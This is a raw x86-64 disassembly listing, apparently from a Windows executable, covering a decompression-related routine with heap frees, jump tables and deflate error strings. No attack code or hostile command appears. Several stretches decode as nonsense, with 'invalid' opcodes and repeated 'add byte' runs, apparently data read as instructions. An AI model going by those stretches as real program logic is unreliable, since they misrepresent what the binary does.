mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov r8d, dword [rsp + 0x54]
movzx r9d, byte [rsp + 0x53]
je 0x1400087f2
mov r10d, 0
mov qword [rsp + 0x138], r10
test al, 2
je 0x14000754a
mov rax, qword [0x140254138]
test rax, rax
je 0x1400088bf
shr eax, 0xa
and eax, 1
mov qword [rsp + 0x138], rax
shl esi, 8
or rsi, r14
shl rdi, 0x10
or rdi, rsi
mov eax, dword [rsp + 0x4e8]
mov dword [rsp + 0x168], eax
movzx eax, byte [rsp + 0x4ec]
mov byte [rsp + 0x16c], al
mov eax, ebx
mov byte [rsp + 0x65], bl
mov eax, dword [rsp + 0x7c]
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0xd8]
mov qword [rsp + 0x1b0], rax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x158], al
mov byte [rsp + 0x160], r9b
mov rax, qword [rsp + 0xc0]
mov r11d, eax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x110]
mov r9d, eax
shr r9d, 8
mov dword [rsp + 0x7c], r9d
shr rax, 0x10
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0xac]
mov qword [rsp + 0x90], rax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x19c], eax
mov eax, r8d
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x5e0], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0xac], eax
mov r10d, r13d
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x190], rax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x66], al
mov qword [rsp + 0x1c8], rdi
mov rdi, rbp
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x140], eax
mov r13d, r12d
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0xf4]
mov dword [rsp + 0xf8], eax
mov r12d, r15d
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0xe0]
mov dword [rsp + 0xf4], eax
mov r15d, ecx
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x5c8], rax
mov eax, 0x2000
mov qword [rsp + 0x1a0], rax
mov esi, 4
mov qword [rsp + 0x4c0], rax
mov eax, 0
mov qword [rsp + 0xe0], rax
xor eax, eax
mov qword [rsp + 0xc0], rax
xor r9d, r9d
xor eax, eax
mov qword [rsp + 0x120], rax
xor r8d, r8d
mov rax, qword [rsp + 0x1d8]
cmp rax, 4
jbe 0x1400073c7
jmp case.default.0x1400073d5
mov qword [rsp + 0xd0], rdx
mov byte [rsp + 0x53], r11b
mov dword [rsp + 0x54], r10d
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x90], r8
call fcn.1401645c0
test rax, rax
mov qword [rsp + 0x1a0], rax
je 0x1400084b7
js case.0x140008008.0
movzx ecx, byte [0x140254141]
xor ecx, ecx
mov rdx, rax
call fcn.14008bd10
mov rcx, rax
mov qword [rsp + 0x110], rax
test rax, rax
je case.0x140008008.0
call fcn.1401651e0
test rax, rax
jne 0x1400084d2
jmp case.0x140008008.0
mov qword [rsp + 0xd0], rdx
mov byte [rsp + 0x53], r11b
mov dword [rsp + 0x54], r10d
mov qword [rsp + 0x80], r9
mov r14, r8
mov edx, 0x8000
mov ecx, 8
call fcn.14008bd10
mov rcx, rax
mov qword [rsp + 0x90], rax
test rax, rax
je case.0x140008008.0
movzx eax, byte [0x140254141]
mov edx, 0xab08
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rsi, rax
movdqu xmmword [rax + 0xaaf0], xmm6
mov r8d, 0xaaea
mov rcx, rax
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsi + 0xab00], 0x10201
mov dword [rsp + 0x4e8], 0
mov byte [rsp + 0x4ec], 0
mov rax, qword [0x140254138]
test rax, rax
je 0x1400087e8
xor ecx, ecx
mov qword [rsp + 0x138], rcx
test al, 2
mov rcx, r14
mov r9, qword [rsp + 0x80]
mov r10d, dword [rsp + 0x54]
movzx r11d, byte [rsp + 0x53]
mov rdx, qword [rsp + 0xd0]
je 0x1400078e3
mov rax, qword [0x140254138]
test rax, rax
je 0x140008897
shr eax, 0xa
and eax, 1
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x5e0], rsi
mov eax, dword [rsp + 0x4e8]
mov dword [rsp + 0x168], eax
movzx eax, byte [rsp + 0x4ec]
mov byte [rsp + 0x16c], al
mov eax, ebx
mov byte [rsp + 0x65], bl
mov rax, qword [rsp + 0x90]
mov r8, rax
shr r8, 0x20
mov qword [rsp + 0x1b0], r8
shr rax, 0x28
mov qword [rsp + 0x4c8], rax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x19c], eax
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0x7c], eax
mov qword [rsp + 0x1a8], rbp
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1a0], rax
mov r8, rcx
mov qword [rsp + 0xc8], rdx
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x70], rax
movzx eax, byte [rsp + 0xa0]
mov qword [rsp + 0x110], rax
mov eax, 0x8000
mov qword [rsp + 0x5d8], rax
mov esi, 3
xor eax, eax
mov qword [rsp + 0x4b8], rax
xor eax, eax
mov qword [rsp + 0x4c0], rax
xor eax, eax
mov qword [rsp + 0x5d0], rax
xor eax, eax
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x1d8]
cmp rax, 4
jbe 0x1400073c7
mov qword [rsp + 0xa0], r8
mov byte [rsp + 0x53], r11b
mov dword [rsp + 0x54], r10d
mov qword [rsp + 0x80], r9
mov rbp, rdx
cmp qword [rsp + 0x1f8], 0
je 0x140007a7a
mov r8, qword [rsp + 0x1f0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp byte [rsp + 0x218], 2
jb 0x140007abd
mov rbx, qword [rsp + 0x238]
mov r14, qword [rsp + 0x240]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140007abd
cmp qword [r14 + 0x10], 0x11
jb 0x140007aac
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x300]
call fcn.14017cdb0
jmp 0x140007c08
mov qword [rsp + 0xa0], r8
mov byte [rsp + 0x53], r11b
mov dword [rsp + 0x54], r10d
mov qword [rsp + 0x80], r9
mov rbp, rdx
cmp qword [rsp + 0x1f8], 0
je 0x140007b0d
mov r8, qword [rsp + 0x1f0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp byte [rsp + 0x218], 2
jb 0x140007b50
mov rbx, qword [rsp + 0x238]
mov r14, qword [rsp + 0x240]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140007b50
cmp qword [r14 + 0x10], 0x11
jb 0x140007b3f
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rbx, qword [rsp + 0x300]
mov rcx, rbx
call fcn.140113a40
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
jmp 0x140007c03
mov qword [rsp + 0xa0], r8
mov byte [rsp + 0x53], r11b
mov dword [rsp + 0x54], r10d
mov qword [rsp + 0x80], r9
mov rbp, rdx
cmp byte [rsp + 0x1f0], 2
jb 0x140007bd1
mov rbx, qword [rsp + 0x210]
mov r14, qword [rsp + 0x218]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140007bd1
cmp qword [r14 + 0x10], 0x11
jb 0x140007bc0
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x2e0], 0
je case.default.0x140008008
mov r8, qword [rsp + 0x2d8]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rdx, rbp
mov r9, qword [rsp + 0x80]
mov r10d, dword [rsp + 0x54]
movzx r11d, byte [rsp + 0x53]
mov r8, qword [rsp + 0xa0]
mov qword [rsp + 0x1d8], rsi
mov rax, qword [rsp + 0x138]
mov dword [rsp + 0x1e0], eax
mov dword [rsp + 0x1e4], 0
mov qword [rsp + 0x1e8], 0
mov rax, qword [rsp + 0x110]
mov byte [rsp + 0x1f0], al
mov eax, dword [rsp + 0x7c]
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x1a8]
mov dword [rsp + 0x1f2], eax
shr rax, 0x20
mov word [rsp + 0x1f6], ax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x200], r8
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0xe0]
mov dword [rsp + 0x210], eax
mov rax, qword [rsp + 0xc0]
mov byte [rsp + 0x214], al
mov word [rsp + 0x215], r9w
shr r9d, 0x10
mov byte [rsp + 0x217], r9b
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0x218], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x219], al
mov dword [rsp + 0x21a], edi
shr rdi, 0x20
mov word [rsp + 0x21e], di
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rdx
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x230], rax
mov eax, dword [rsp + 0xf4]
mov dword [rsp + 0x238], eax
mov byte [rsp + 0x23c], r11b
mov word [rsp + 0x23d], r15w
shr r15d, 0x10
mov byte [rsp + 0x23f], r15b
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x260], eax
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x264], al
mov word [rsp + 0x265], r12w
shr r12d, 0x10
mov byte [rsp + 0x267], r12b
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x280], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x288], eax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x28c], al
mov word [rsp + 0x28d], r13w
shr r13d, 0x10
mov byte [rsp + 0x28f], r13b
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x2a8], rax
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x2b0], eax
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x2b4], al
mov word [rsp + 0x2b5], r10w
shr r10d, 0x10
mov byte [rsp + 0x2b7], r10b
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x90]
mov dword [rsp + 0x2d8], eax
mov rax, qword [rsp + 0x1b0]
mov byte [rsp + 0x2dc], al
mov rax, qword [rsp + 0x4c8]
mov word [rsp + 0x2dd], ax
shr eax, 0x10
mov byte [rsp + 0x2df], al
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x5d0]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x5c8]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x2f8], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x300], rax
mov word [rsp + 0x308], 0
mov rax, qword [rsp + 0x4c0]
mov byte [rsp + 0x30a], al
movzx eax, byte [rsp + 0x16c]
lea r13, [rsp + 0x318]
mov byte [r13 - 9], al
mov eax, dword [rsp + 0x168]
mov dword [r13 - 0xd], eax
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x310], eax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x314], al
movzx eax, word [rsp + 0x4e8]
mov word [r13 - 3], ax
movzx eax, byte [rsp + 0x4ea]
mov byte [r13 - 1], al
lea r12, [rsp + 0x1f0]
lea r14, [rsp + 0x9b0]
lea r15, [0x1401b10f8]
lea rbp, [rsp + 0x4e8]
movsxd rax, dword [r15 + rsi*4]
add rax, r15
jmp rax
mov rsi, qword [rsp + 0x1f0]
test rsi, rsi
je 0x14000896a
cmp rsi, 0x2000
mov r9d, 0x2000
cmovb r9, rsi
mov rdx, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1e8]
mov rcx, rbp
mov r8, r14
call qword [rax + 0x18]
cmp qword [rsp + 0x4e8], 0
je case.default.0x14000806f
mov rdi, qword [rsp + 0x4f0]
mov eax, edi
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, dword [rsp + 0x310]
cmp eax, dword [rsp + 0x1e4]
jne 0x14000819f
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400e9460
cmp qword [rsp + 0x4e8], 0
jne 0x1400081ca
jmp 0x140008156
mov eax, dword [rsp + 0x2d8]
cmp eax, dword [rsp + 0x1e4]
jne 0x1400081e7
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400e8b60
cmp qword [rsp + 0x4e8], 0
jne 0x140008212
jmp 0x140008156
mov eax, dword [rsp + 0x310]
cmp eax, dword [rsp + 0x1e4]
jne 0x14000822f
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400ea2c0
cmp qword [rsp + 0x4e8], 0
jne 0x14000825a
jmp 0x140008156
mov eax, dword [rsp + 0x310]
cmp eax, dword [rsp + 0x1e4]
jne 0x140008277
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400e9850
cmp qword [rsp + 0x4e8], 0
jne 0x1400082a2
mov rdi, qword [rsp + 0x4f0]
cmp rdi, 0x2001
jae case.0x140008008.0
add qword [rsp + 0x1e8], rdi
cmp dword [rsp + 0x1e0], 0
je 0x140008318
mov ecx, dword [rsp + 0x1e4]
mov rdx, r14
mov r8, rdi
call fcn.140019470
mov dword [rsp + 0x1e4], eax
jmp 0x140008361
movzx ebx, byte [rsp + 0x314]
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400e9460
cmp qword [rsp + 0x4e8], 0
je case.default.0x1400081e5
mov rdi, qword [rsp + 0x4f0]
mov eax, edi
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx ebx, byte [rsp + 0x2dc]
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400e8b60
cmp qword [rsp + 0x4e8], 0
je case.default.0x14000822d
mov rdi, qword [rsp + 0x4f0]
mov eax, edi
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx ebx, byte [rsp + 0x314]
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400ea2c0
cmp qword [rsp + 0x4e8], 0
je case.default.0x140008275
mov rdi, qword [rsp + 0x4f0]
mov eax, edi
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx ebx, byte [rsp + 0x314]
mov r9d, 0x2000
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.1400e9850
cmp qword [rsp + 0x4e8], 0
je case.default.0x1400082bd
mov rdi, qword [rsp + 0x4f0]
add byte [rax], al
mov eax, edi
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdi + 0xf], 0x23
jne case.0x140008414.2
mov rbx, qword [rdi - 1]
mov rsi, qword [rdi + 7]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400082fa
cmp qword [rsi + 0x10], 0x11
jb 0x1400082e9
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
dec rdi
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov ecx, 0x2000
jmp 0x140006f4f
mov ecx, dword [rsp + 0x1e4]
mov rdx, r14
mov r8, rdi
call fcn.140019020
mov dword [rsp + 0x1e4], eax
test rdi, rdi
jne 0x14000836a
jmp 0x14000896a
mov rdi, qword [rsp + 0x4f0]
sub rsi, rdi
jb case.0x140008008.0
mov qword [rsp + 0x1f0], rsi
cmp rdi, 0x2001
jae case.0x140008008.0
test rdi, rdi
je 0x14000896a
lea rcx, [rsp + 0x6d8]
mov rdx, r14
mov r8, rdi
call fcn.14009aa80
mov ecx, 0x2000
test rax, rax
je 0x140006f4f
jmp case.0x140008414.2
mov rdi, qword [rsp + 0x4f0]
test bl, bl
jne 0x14000815e
test rdi, rdi
jne 0x14000815e
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumdecompression_not_finished_but_EOF_reachedcorrupt_deflate_streamincomplete_framefailed_to_fill_whole_buffer
call fcn.1400e9b40
mov rdi, rax
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, qword [rsp + 0x4f0]
test bl, bl
jne 0x14000815e
test rdi, rdi
jne 0x14000815e
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumdecompression_not_finished_but_EOF_reachedcorrupt_deflate_streamincomplete_framefailed_to_fill_whole_buffer
call fcn.1400e9b40
mov rdi, rax
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, qword [rsp + 0x4f0]
test bl, bl
jne 0x14000815e
test rdi, rdi
jne 0x14000815e
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumdecompression_not_finished_but_EOF_reachedcorrupt_deflate_streamincomplete_framefailed_to_fill_whole_buffer
call fcn.1400e9b40
mov rdi, rax
and eax, 3
lea rcx, [0x1401b1110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, qword [rsp + 0x4f0]
test bl, bl
jne 0x14000815e
test rdi, rdi
jne 0x14000815e
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumdecompression_not_finished_but_EOF_reachedcorrupt_deflate_streamincomplete_framefailed_to_fill_whole_buffer
call fcn.1400e9b40
mov rdi, rax
mov dword [rbx - 0x72b7fc20], 0x1a8c7d0d
add byte [rax + 0x63], cl
add al, 0x81
mov dword [rbx - 0x72b7fc20], 0x1a8c7d0d
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
shr rdi, 0x20
mov ecx, 0x2000
cmp edi, 0x23
je 0x140006f4f
jmp case.0x140008414.2
mov eax, 1
mov qword [rsp + 0x110], rax
call fcn.1401651e0
test rax, rax
je case.0x140008008.0
shl esi, 8
or rsi, r14
shl rdi, 0x10
mov r14, rdi
or r14, rsi
mov rcx, rax
mov rsi, rax
call fcn.14017e0f0
mov qword [rsp + 0x4b8], rsi
mov rcx, rsi
lea rdx, [0x1402112b8]
xor r8d, r8d
call fcn.1401639a0
mov rdi, rax
mov rcx, rax
call fcn.14017e710
test eax, eax
jne 0x14000c08a
movzx eax, byte [rsp + 0x16c]
mov byte [rsp + 0x4ec], al
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x4e8], eax
mov rax, qword [0x140254138]
test rax, rax
mov rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x80]
mov r9d, dword [rsp + 0x54]
movzx r10d, byte [rsp + 0x53]
je 0x14000882d
xor ecx, ecx
mov qword [rsp + 0x4c0], rcx
mov ecx, 0
mov qword [rsp + 0x138], rcx
test al, 2
je 0x14000859b
mov rax, qword [0x140254138]
test rax, rax
je 0x1400088e4
shr eax, 0xa
and eax, 1
mov qword [rsp + 0x138], rax
mov eax, dword [rsp + 0x4e8]
mov dword [rsp + 0x168], eax
movzx eax, byte [rsp + 0x4ec]
mov byte [rsp + 0x16c], al
mov eax, ebx
mov byte [rsp + 0x65], bl
mov eax, dword [rsp + 0x7c]
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0xd8]
mov qword [rsp + 0x1b0], rax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x158], al
mov byte [rsp + 0x160], r10b
mov rax, qword [rsp + 0xc0]
mov r11d, eax
mov rax, qword [rsp + 0x110]
mov ecx, eax
shr ecx, 8
mov dword [rsp + 0x7c], ecx
shr rax, 0x10
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0xac]
mov qword [rsp + 0x90], rax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x19c], eax
mov eax, r9d
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x5e0], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0xac], eax
mov r10d, r13d
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x190], rax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x66], al
mov rdi, rbp
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x140], eax
mov r13d, r12d
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0xf4]
mov dword [rsp + 0xf8], eax
mov r12d, r15d
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0xe0]
mov dword [rsp + 0xf4], eax
mov r15d, r8d
mov qword [rsp + 0x1c8], r14
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x5c8], rax
mov esi, 5
xor eax, eax
mov qword [rsp + 0xe0], rax
xor eax, eax
mov qword [rsp + 0xc0], rax
xor r9d, r9d
xor r8d, r8d
xor eax, eax
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x1d8]
cmp rax, 4
jbe 0x1400073c7
jmp case.default.0x1400073d5
mov qword [rsp + 0x90], r8
mov r14, r9
mov dword [rsp + 0x54], r10d
mov esi, r11d
mov qword [rsp + 0xd0], rdx
call fcn.140094650
mov rdx, qword [rsp + 0xd0]
mov r11d, esi
mov r10d, dword [rsp + 0x54]
mov r9, r14
mov r8, qword [rsp + 0x90]
jmp 0x1400072bd
call fcn.140094650
jmp 0x140007899
call fcn.140094650
movzx r9d, byte [rsp + 0x53]
mov r8d, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x90]
mov r10d, 0
mov qword [rsp + 0x138], r10
test al, 2
jne 0x14000752c
jmp 0x14000754a
call fcn.140094650
movzx r10d, byte [rsp + 0x53]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x90]
jmp 0x140008562
mov qword [rsp + 0x90], r8
mov r14, r9
mov dword [rsp + 0x54], r10d
mov byte [rsp + 0x53], r11b
mov qword [rsp + 0xd0], rdx
call fcn.140094650
mov rdx, qword [rsp + 0xd0]
movzx r11d, byte [rsp + 0x53]
mov r10d, dword [rsp + 0x54]
mov r9, r14
mov r8, qword [rsp + 0x90]
jmp 0x1400072e0
call fcn.140094650
mov rdx, qword [rsp + 0xd0]
movzx r11d, byte [rsp + 0x53]
mov r10d, dword [rsp + 0x54]
mov r9, qword [rsp + 0x80]
mov rcx, r14
jmp 0x1400078d5
call fcn.140094650
movzx r9d, byte [rsp + 0x53]
mov r8d, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x90]
jmp 0x14000753c
call fcn.140094650
movzx r10d, byte [rsp + 0x53]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x90
add byte [rax], al
add cl, ch
test ah, bh
invalid
invalid
add byte [rax], 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x90
add byte [rax], al
add cl, ch
test ah, bh
invalid
xor esi, esi
jmp 0x14000896d
movzx eax, byte [rsp + 0x3c8]
mov rdi, qword [rsp + 0x3e8]
mov rbx, qword [rsp + 0x3f0]
mov byte [rsp + 0x3c8], 3
cmp al, 3
je case.0x140008008.0
movdqu xmm7, xmmword [rsp + 0x3d0]
mov rsi, qword [rsp + 0x3e0]
cmp al, 2
jb 0x140008c89
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
jne 0x140008bf0
jmp 0x140008c89
mov sil, 1
lea rax, [0x1401ad13d]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x51cb272a4f9591c9
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rsp + 0x9b0]
call fcn.1400957d0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 0x10]
movzx eax, word [rax + 0x14]
test sil, sil
je case.0x140008008.0
mov rcx, qword [rsp + 0x6d8]
mov ecx, dword [rsp + 0x6d8]
call sub.KERNEL32.dll_CloseHandle
mov rsi, qword [rsp + 0x5c0]
cmp qword [rsp + 0x7d8], 0
fadd dword [rdi]
add byte [rax], al
add byte [rdi], cl
test esi, ebx
jrcxz 0x1400089dc
invalid
fadd dword [rdi]
add byte [rax], al
add byte [rdi], cl
test esi, ebx
jrcxz 0x1400089dc
invalid
invalid
jmp 0x140006dd2
lodsb al, byte [rsi]
and al, 0x18
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x5c], cl
and al, 0xf0
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0xb0
or dword [rax], eax
add byte [rbp + rcx*4 + 0x3d], cl
cmp eax, 0x1a8657
jne 0x140008bf0
cmp eax, 0x1a8657
jne 0x140008bf0
jmp 0x140008c89
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
cmp r15b, 2
lea r12, [rsp + 0x1f0]
and al, 0xf0
add dword [rax], eax
add byte [rdi], cl
invalid
outsd dx, dword [rsi]
add dword [rax], eax
invalid
and al, 0xf0
add dword [rax], eax
add byte [rdi], cl
invalid
jmp 0x140008c14
movsb byte [rdi], byte [rsi]
and al, 0xf0
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0xb0
or dword [rax], eax
add byte [rbp + rcx*4 + 0x3d], cl
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
jnp 0x140008c04
cmp qword [rbx + 0x10], 0x11
jb 0x140008c3b
adc dword [rdx + 0x44], esi
mov rdi, qword [rdi - 8]
jmp 0x140008c3b
movdqu xmm7, xmmword [rsp + 0x1f8]
add byte [rax], al
mov rsi, qword [rsp + 0x208]
cmp r15b, 2
jb 0x140008c7a
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
lea r15, [0x1401b10f8]
je 0x140008c60
cmp qword [r14 + 0x10], 0x11
jb 0x140008c33
mov rdi, qword [rdi - 8]
lea r14, [rsp + 0x9b0]
